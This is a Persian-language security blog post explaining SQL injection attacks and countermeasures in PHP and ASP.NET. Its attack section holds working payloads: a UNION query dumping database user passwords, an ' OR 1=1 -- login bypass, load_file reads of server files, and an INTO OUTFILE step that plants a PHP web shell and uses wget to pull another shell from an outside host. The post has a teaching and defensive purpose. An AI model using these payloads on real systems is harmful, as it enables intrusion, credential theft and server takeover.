loading...
امنیت اطلاعات
تبلیغات

برتینا

admin بازدید : 390 پنجشنبه 09 بهمن 1393 نظرات (0)

بررسی حملات تزریق SQL یا SQL INJECTION و روش مقابله در PHP و ASP.NETنوعی از حملات که در آن اخلاگر با تزریق دستورات SQL به ورودی هایی که به پایگاه داده منتهی می شود، اطلاعات مورد نظر را از پایگاه داده استخراج  کرده و اهداف خود را روی آن هدف اعمال می کند.

این آسیب پذیری زمانی ایجاد می شود که ورودی های منتهی شده به پایگاه داده محدود نشده باشند، در نتیجه اخلالگر دستوراتی را علاوه بر دستورات و درخواست هایی که به سرور ارسال می شود، به پایگاه داده ارسال میکند و اطلاعات را از آن استخراج می کند.

 

برای درک اینکه این آسیب پذیری در عمل چگونه اتفاق می افتد، آدرس فرضی زیر را در نظر بگیرید:

www.site.com/page.php?id=5

در آدرس فرضی بالا قسمت page.php?id=5 یک Query را تشکیل می دهد که کد مربوط به آن بصورت زیر است:

<?php

$sql=”SELECT * FROM logs WHERE id=”.$ GET[“id”];

$result=mysql query($sql);

?>

در کد بالا Query مورد نظر در متغیر  sql قرار گرفته و متغیر sql از طریق تابع mysql_query اجرا می شود و در واقع نتیجه کلی در داخل متغیر result قرار می گیرد. مشکل این کد اینجاست که بدون ایجاد محدودیت، پارامتر id از طریق $_GET فراخوانی شده است.

نکته: تابع mysql_query پرس جوهایی  SQL را روی پایگاه داده  MYSQL اجرا می کند.

پس شکل اصلی آدرس بالا قبل از اجرای کوئری به شکل زیر است:

www.site.com/ SELECT * FROM logs WHERE id=5

 و زمانی که ما در قسمت url سایت عمل تزریق را انجام می دهیم به شکل زیر می باشد:

www.site.com/SELECT * FROM logs WHERE id=5 union select null,

 concat(user,password) from mysql.user—

 حاصل این تزریق افشای اطلاعات کاربران پایگاه داده است. البته url تنها راه انجام این حمله نیست و این حمله می تواند از طریق ورودیهایی مثل فرم و یا کوکی نیز صورت گیرد.

برای مثال:

query = "SELECT * FROM users WHERE uname=’” . $_POST[‘Username ‘]. “’ AND password=’” . $_POST[‘Password’] . “’;”


در این شبه‌ کد انتظار می‌رود فقط هنگامی که نام‌ کاربری(Username)  و رمزعبور(Password) به درستی وارد شوند عمل ورود به سایت انجام پذیرد، امابا یک ترفند ساده می‌توان نام‌ کاربری را طوری وارد کرد که بدون کنترل شدن رمزعبور، عمل ورود به سایت انجام شود. کافی است به جای نام‌ کاربری و رمز عبور عبارت زیر را وارد کنیم:

' OR 1=1 --

در این صورت دستور SQL به صورت زیر اجرا خواهد شد:

SELECT * FROM users WHERE uname=’’ OR 1=1  --AND password=’’;

در ساختار SQL عبارات بعد از – اجرا نمی شوند و 1=1 یک عبارتهمیشه درست است، پس کاربر تائید می‌شود. به این طریق بدون داشتن نام کاربری و رمزعبور و تنها با استفاده از تزریق کد SQL به پایگاه داده توانستیم وارد محیط کاربری سایت شویم.

راههای کشف آسیب پذیری sql injection:

- بررسی کدهای HTML:

کدهای HTML صفحه اصلی و دیگر صفحات محتمل را بررسی و تست sql injection را، روی پرس و جوهایی که در قالب لینک و یا فرم ارسال داده قرار دارند انجام می دهیم.

<html>

 ...

< body >

< a href="about.php?id=2">about us</a >

<body/>

 ...

<html/>

برای مثال؛ در کدهای بالا لینکی موجود است که می تواند ناشی از یک پرس و جوی SQL باشد.

(site.com/about.php?id=2)

بنابراین تست sql injection را انجام می دهیم.

برای انجام این کار کاراکتر هایی (مثلا کوتیشن) را در انتهای آدرس (url) قرار می دهیم و اگر با خطاهای از قبل شناخته شده مواجه شدیم نسبت به sql injection آسیب پذیر می باشد.

site.com/about.php?id=2'

site.com/about.php?id=2 and 1=1

خطاهای شناخته شده برای موجود بودن آسیب پذیری sql injection برای پایگاه داده های مختلف به شرح زیر می باشد:

MYSQL

 You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server

MSSQL

 Unclosed quotation mark before thecharacter string

ORACLE

ORA-01756: quoted string not properly terminal

ORA-00933: SQL command not properly ended

و علت وجود این خطا ها این است که ورودی منتهی شده به پایگاه داده محدود نشده و کاراکتر های ارسالی به همراه دستورات دیگر به پایگاه داده ارسال می شوند.

- استفاده از اسکنر ها:

با استفاده از نرم افزارهای اسکنر موجود،  می توان وب سایت های مورد نظر را اسکن نمود.

 یکی از معروفترین اسکنرها Accunetix Web Vulnerability Scaner است.

- بررسی کدهای HTTP واقع در سرآیند:

هنگامی که با مرورگر وب سایتی باز می شود در واقع از طریق پروتکل HTTP با سرور ارتباط برقرار می شود و زمانی که درخواستی از طریق این پروتکل به وب سرور فرستاده شود فایل سرآیندی (HTTP Header) در کنار این درخواست به سرور ارسال می شود که در هنگام پاسخ سرور نیز این فایل سرآیند در کنار آن قرار می گیرد تا از صحت اتصال اطمینان به عمل آید.

هنگام اتصال به سرور فایل سرآیندی در کنار درخواست ارسالی به سرور و پاسخ های بازگشتی از سرور قرار می گیرد که این فایل سرآیند شامل فیلدهایی می باشد که یکی از آنها کد HTTP  می باشد.

مثلا زمانی که سایت blogfa.com را باز شود، درخواست به سرور رفته و نتیجه آن در قالب فایل سرآیند به مرورگر باز می­گردد:

GET / HTTP/1.1

Host: blogfa.com

User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:18.0) Gecko/20100101 Firefox/18.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Cookie:__utma=36873331.532336695.1360094362.1360094362.1360094362.1; __utmz=36873331.1360094362.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none )

Connection: keep-alive

نتیجه برگشتی:

HTTP/1.1 200 OK

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Encoding: gzip

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Wed, 06 Feb 2013 07:52:18 GMT

Content-Length: 5096

در سرآیند بالا که اولی مربوط به درخواست و دومی مربوط به پاسخ سرور است،کد HTTP مربوط به پاسخ سرور٢٠٠ می باشد که یعنی درخواست به درستی دریافت شد، دو کد HTTP وجود دارد که بعد از تزریق کاراکتر به انتهای url، نشانه آسیب پذیری sql injection می باشد و آن کدهای ٣٠٢ و۵٠٠ می باشد.

HTTP/1.1 500 Internal Server Error

 Date: Mon, 05 Jan 2012 13:08:25 GMT

Server: Microsoft-IIS/6.0

 X-Powered-By: ASP.NET

X-AspNet-Version: 1.1.4322

Cache-Control: private

Content-Type: text/html;

charset=utf-8

Content-Length: 3026

 

 HTTP/1.1 302 Found

Connection: Keep-Alive

Content-Length: 159

Date: Mon, 05 Jan 2012 13:42:04 GMT

Location: /index.aspx

Content-Type: text/html;

charset=utf-8

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

X-AspNet-Version: 2.0.50727

Cache-Control: private

برای این که بتوانید این سرآیندها را ببینید می توانید افزونه Live HTTP Headers  را روی مرورگر فایرفاکس نصب کنید.

بعد از نصب افزونه از قسمت Tools از آیتم های مرورگر فایرفاکس به آن دسترسی پیدا کرده و می توانید با این افزونه سرآیند را دیده، آن را آنالیز و حتی ویرایش کنید.

انواع حملات تزریق کد SQL به پایگاه‌ داده

واکنش هایی که پایگاه داده ها در هنگام تزریق از خود نشان می دهند باعث شده تا به مرور زمان انواع مختلفی از تزریق ها به وجود آید. ما در زیر بدلیل طولانی نشدن شرح حملهرا به بعد موکول می کنیم و تنها به معرفی انواع حملات می پردازیم.

الف: Union based sql injection (تزریق بر اساس ترکیب دو query)

نوعی از تزریق که نتایج دو دستور sql از طریق union با هم ترکیب شده و نتیجه یک جا نمایش داده می شود.

query.php?id=20 UNION SELECT 1,2,3,4,5

First  Query                     Second Query                          

در برخی ورژن های پایگاه داده ها، مثل MYSQL ورژن 5 به بالا یک جدول اضافی به نام information_schema وجود دارد که تمام اطلاعات سیستمی از جمله نام تمام جداول و ستون ها در آن یافت می شود که در سرعت بخشیدن به استخراج اطلاعات کمک شایانی می کند، زیرا زمانی که به کمک جدول information_schema از وجود جدولی با نام admin که دارای دو ستون password, username است مطلع بود، تنها کاری که لازم است انتخاب داده های جدول و نمایش محتوای آنهاست.

ب: Error –based sql injection (تزریق بر اساس خطا)

نوعی از تزریق که عمل تزریق با توجه به خطاهایی که پایگاه داده می دهد طوری انجام می شود که اطلاعات استخراج شود و روال کار به این شکل است که دستوراتی را تزریق می کنیم  تا نام ستون و جداول در قالب خطا نمایش داده شود و سپس می توانیم در ادامه تزریق از اطلاعات آنها استفاده کنیم.

ج: Blind- based sql injection (تزریق کور)

در این نوع تزریق هیچ اطلاعات یا خطایی از طرف پایگاه داده نمایش داده نمی شود و هکر فقط از طریق پاسخ های True/False که از پایگاه داده دریافت می کند، نتایج را حدس می زند.

از لحاظ تقسیم بندی تزریق کور خود به دو دسته قابل تقسیم است:

1- Boolean Based : نتایج به شکل True/False می باشد.

2- Time Based: نتایج به شکل True/False مبتنی بر زمان می­باشد.

در هنگام تزریق اگر صفحه وب سایت به درستی نمایش داده شود دستور تزریق شده صحیح(True)  و اگر درست نمایش داده نشود غلط(False)  می باشد.

در هنگام تزریق اگر وب سایت بعد از تاخیر تعیین شده با استفاده از توابع تاخیر (مثلا 2 ثانیه) لود شود شرط صحیح(True)  و درغیر اینصورت غلط(False)  می باشد.

- خواندن فایل و ساخت فایل با sql injection

برخی توابع در sql این امکان را  به ما می دهند تا بتوانیم فایلی از سیستم را خوانده یا فایل دلخواه خود را داخل سرور آپلود کنیم.

site/index.php?id=-7367 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18, load_file(/home/buscocas/www/login.php),29--

نتیجه این مثال این است که کدهای فایل php در صفحه وب سایت نمایش داده شود و اگر با خطا مواجه شد می توان مسیر فایل را به صورت hex کد گذاری کرد.

site/index.php?id=-7367 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18, load_file(0x2f686f6d652f627573636f6361732f7777772f6c6f67696e2e706870),29--

عمل ایجاد فایل هم با دستورات sql امکان پذیر می باشد:

Site.com/page.php?id=-85 union select 1,2,3,4,'<?php system($_GET[cmd]) ?>',6,7,8 ,9,10,11 INTO OUTFILE '/var/www/cmd.php'--

اگر خطایی رخ داد  مسیر را با استفاده از hex کدگذاری می کنیم:

Site.com/page.php?id=-85 union select 1,2,3,4,'<?php system($_GET[cmd]) ?>',6,7,8 ,9,10,11 INTO OUTFILE '0x2f7661722f7777772f636d642e706870'--

تا اینجا یک فایل با نام cmd.php ساخته شده که امکان اجرای خط فرمان با آن است که برای اجرای آن از آدرس زیر استفاده می کنیم:

http://Site.com/cmd.php?cmd=ls

با این کد لیست فایل های موجود در قسمت root سایت نمایش داده می شود، حال می توانیم از طریق این خط فرمان شل یا فایل مورد نظر را روی هاست دانلود کنیم.

http://Site.com/shell.php?cmd=wget

http://mysite.com/shell.php

در اینجا فایل php از مسیری که تعیین شده روی host دانلود شده و می­توان آن را اجرا کرد.

http://Site.com/shell.php

نکته: تابع LOAD_FILE() برای خواندن و فراخوانی فایل های موجود مورد استفاده قرار می گیرد.

نکته: از طریق into outfile می توان محتویات X را داخل فایل تعیین شده ایجاد کرد.

SELECT X INTO OUTFILE 'test.php'

نکته:  Ls و  wget دستورات لینوکس هستند که به ترتیب برای لیست کردن فایل ها و دانلود یک فایل بکار می روند.

- راه های مقابله با تزریق کد

برای جلوگیری از انجام چنین اتفاقاتی برای زبان‌های برنامه‌نویسی مختلف،راهکارهای گوناگونی وجود دارد که در ادامه با آنها آشنا می‌شوید.

در ابتدا و در طراحی و استفاده از پایگاه داده این دو نکته را مد نظر قرار دهید:

1-  تا حد امکان از کاربرانی با سطح دسترسی کم برای اتصال به پایگاه دادهاستفاده کنید. این کار باعث جلوگیری از SQL Injection نمی‌شود اما به اینموضوع کمک می‌کند که کسی نتواند کدهای مخرب را روی بانک اطلاعاتی اجرا کند وبنابراین در صورت وجود SQL Injection نفوذگر قدرت مانور کمتری خواهد داشت.

2- همیشه اطلاعات مهم مانند رمزهای عبور را به صورت کدشده در پایگاهداده(Database) ذخیره کنید. این کار نیز باعث جلوگیری از SQL Injection نمی‌شود اما باعث می‌شود در صورتی که مهاجم به پایگاه داده نفوذ کرد،نتواند اطلاعاتی مانند رمزهای عبور را به راحتی به دست بیاورد.

3- سعی کنید دستورات اجرا شده در پایگاه داده را ثبت کنید. هر چند این امر به جلوگیری از SQL Injection کمکی نمی‌کند، اما به شما این امکان را می‌دهد تا با دیدن دستورات اجرا شده پی به اشتباهات خود برده و آنها را برطرف کنید. برای ثبت دستورات می‌توانید از پایگاه‌داده‌هایی که این قابلیت را دارند استفاده یا با بهره‌ گیری از دستورات زبان برنامه نویسی که استفاده می کنید آنها را درجایی امن ذخیره کنید.

- جلوگیری از SQL Injection در PHP

1- همیشه از درستی نوع متغیر ورودی اطمینان حاصل کنید. در زبان PHP انواع متغیرها وجود دارند. می‌توانید با استفاده از توابعی مانند ctype_digit و ctype_alnum و سایر توابع خانواده ctype یا تابع gettype نوع ورودی را کنترل کنید. همچنین می‌توانید با استفاده از (regular expression (PCRE از صحت اطلاعات اطمینان حاصل‌ یابید.

2- اگر قرار است در دستور SQL عدد وارد شود، با توابعی مانند is_numeric اطمینان حاصل کنید که ورودی حتما عدد است یا همیشه نوع ورودی را با تابعی مانند settype یا intval یا floatval یا … تغییر دهید.

3- ورودی‌هایی که از نوع رشته (string) هستند را با توابع پایگاه داده مورد نظر escape کنید (مانند mysql_real_escape_string یا sqlite_escape_string یا ...) و اگر برای پایگاه داده مورد نظر شما چنین تابعی موجود نیست با استفاده از توابعی مانند addslashes یا str_replace این کار را انجام دهید. این عمل باعث می‌شود تا کاراکتری مانند ' در ساختار SQL تاثیری نگذارد و ورودی به عنوان متغیر به دستور داده شود و تاثیری بر دستور نداشته ‌باشد.

4- استفاده از stored procedures یکی از بهترین روش‌های جلوگیری از SQL Injection در پایگاه داده‌هایی است که این قابلیت را دارند. اما متاسفانه همه پایگاه‌داده‌ها این قابلیت را ندارند.

5- سعی کنید در هیچ شرایطی خطای رخ داده در پایگاه داده به کاربر نشان داده نشود، چراکه نمایش این خطاها می‌تواند به حمله‌کننده این امکان را بدهد که بداند چه اتفاقی در پایگاه داده انجام گرفته است. در PHP راه‌های مختلفی برای جلوگیری از نمایش خطاها وجود دارد. یکی از معروف‌ترین آنها استفاده از عملگر @ قبل از دستورالعمل مورد نظر است. هنگامی که از این عملگر استفاده شود، PHP از پیام‌های خطای دستور مورد نظر صرف نظر می‌کند. یک نمونه استفاده از عملگر:

$my_file=@file (‘names.php’) or die (‘failed’);

-جلوگیری از SQL Injection در ASP.NET

1- از ورودی‌ها اطمینان حاصل کنید. سعی کنید تا جای ممکن تمامی ورودی‌ها را از لحاظ نوع داده، طول رشته، بازهعددی و سایر موارد کنترل کنید. برای این کار می‌توانید از  Regex ،RegularExpressionValidator  یا RangeValidator استفاده کنید.

2- استفاده از ورودی‌ها در Stored Procedureها راه بسیار مناسبی است. توجه داشته باشید که استفاده از Stored Procedure ها بدون استفاده از ورودیباعث جلوگیری از SQL Injection نمی‌شود. برای این کار می‌توانیداز SqlParameter و SqlParameterCollection استفاده کنید.

همچنین درصورتی که مجبور به استفاده از دستورات پویا (Dynamic) هستید، بااستفاده از  SqlParameterCollection  نوع ورودی‌ها را مشخص کنید.

3- سعی کنید تا جای ممکن از API هایی مانند ADO.Net و قابلیت‌های آناستفاده کنید، چرا که با کمک این رابط‌های برنامه‌نویسی می‌توان نوع دقیقداده‌ها را مشخص کرد و همچنین این اطمینان را داشت که ورودی‌ها به طرزصحیحی Escape می‌شوند.

مثال: در نمونه کد با کمک روش‌های گفته شده تا حد امکان جلوی این حفره گرفته شده است:

<%@ language=”C#‎‎‎‎‎‎‎‎” %>
 using System;
usingSystem.Text.RegularExpressions;
public void Login(string uname, string password)
}
if ( !Regex.IsMatch(uname, @"^[a-zA-Z'./s]{1,20}$"))
throw new FormatException("Invalid username");
if ( !Regex.IsMatch(password,@"^(?=.*d)(?=.*[a-z])(?=.*[A-Z]).{6,15}$" ))
throw new FormatException("Invalid password");
}
usingSystem.Data;
usingSystem.Data.SqlClient;
using (SqlConnection connection = new SqlConnection(connectionString))
{
DataSet dataset = new DataSet();
SqlDataAdapter command = new SqlDataAdapter ("LoginStoredProce dure", connection);
command.SelectCommand.CommandType = CommandType.StoredProcedure;
command.SelectCommand.Parameters.Add("@au_id", SqlDbType.VarChar, 11);
command.SelectCommand.Parameters["@au_id"].Value = SSN.Text;
command.Fill(dataset);
}

مطالب مرتبط
ارسال نظر برای این مطلب

کد امنیتی رفرش
تبلیغات

متفاوت ترین سرویس سایت ساز

حذف سایتهای اسپم،مخرب و تبلیغاتی از نتایج جستجو گوگل

شناسایی افراد مخفی در یاهو

اطلاعات کاربری
  • فراموشی رمز عبور؟
  • نظرسنجی
    آنتی ویروس محبوب شما (2016)
    تبلیغات خیریه

    موسسه خیریه محک

    آمار سایت
  • کل مطالب : 1852
  • کل نظرات : 301
  • افراد آنلاین : 9
  • تعداد اعضا : 7564
  • آی پی امروز : 149
  • آی پی دیروز : 72
  • بازدید امروز : 357
  • باردید دیروز : 110
  • گوگل امروز : 0
  • گوگل دیروز : 0
  • بازدید هفته : 467
  • بازدید ماه : 991
  • بازدید سال : 39,700
  • بازدید کلی : 2,852,725
  • الکسا